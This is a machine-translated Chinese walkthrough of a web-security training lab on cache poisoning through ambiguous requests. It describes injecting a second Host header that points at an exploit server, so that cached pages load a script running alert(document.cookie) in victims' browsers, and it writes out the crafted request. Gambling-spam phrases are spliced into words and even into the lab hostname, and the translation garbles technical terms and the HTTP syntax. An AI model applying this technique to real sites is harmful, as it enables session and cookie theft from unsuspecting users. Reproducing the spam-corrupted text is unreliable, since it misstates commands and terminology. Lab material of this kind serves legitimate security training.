实验室:网beplay体育能用吗络缓存中毒通过模棱两可的请求
从业者
这个实验室很容易受到伤害beplay体育能用吗网络缓存中毒由于缓存和后端应用程序如何处理含糊请求的差异。毫无戒心的用户定期访问网站的主页。
要解决实验室,请毒化缓存,以便主页执行警报(Document.Cookie)
在受害者的浏览器中。
解决方案
- 发送
得到 /
要求收到200回应Burp Repeater并研究实验室的行为。观察网站验证主机标头。beplay体育能用吗篡改它后,您仍无法访问主页。
- 在原始响应中,请注意详细的缓存标题,该标头告诉您何时获得缓存命中以及缓存响应的年龄。例如,将任意查询参数添加到您的请求中,以用作缓存Buster,例如
获取 /?cb = 123
。您可以每次需要从后端服务器进行新的响应时简单地更改此参数。
- 请注意,如果您添加具有任意值的第二个主机标头,则在验证和路由请求时似乎被忽略了。至关重要的是,请注意,您的第二个主机标头的任意值反映在用于导入脚本的绝对URL
/resources/js/tracking.js
。
- 卸下第二个主机标头,然后使用相同的缓存Buster再次发送请求。请注意,您仍然会收到包含注入值的同一缓存响应。
- 转到exploit服务器并在
/resources/js/tracking.js
包含有效载荷警报(Document.Cookie)
。存储利用并复制利用服务器的域名。
返回Burp Repeater,添加第二个主机标头,其中包含您的利用服务器域名。该请求应该看起来像这样:
get /?cb = 123 http /1.1主机:lab-id.web-sebeplay体育能用吗curity-academy.net主机:您的exploit-server-id.web-security-Academy.net
- 发送几次请求,直到您在响应中反映的利用服务器URL进行缓存击中。要模拟受害者,请使用URL中的同一缓存Buster在浏览器中请求页面。确保
警报()
火。
- 在Burp Repeater中,删除所有缓存加分机,并继续重播请求,直到您重新置换缓存为止。当受害者访问主页时,实验室将解决。
社区解决方案beplay维护得多久
迈克尔·索默(Michael Sommer)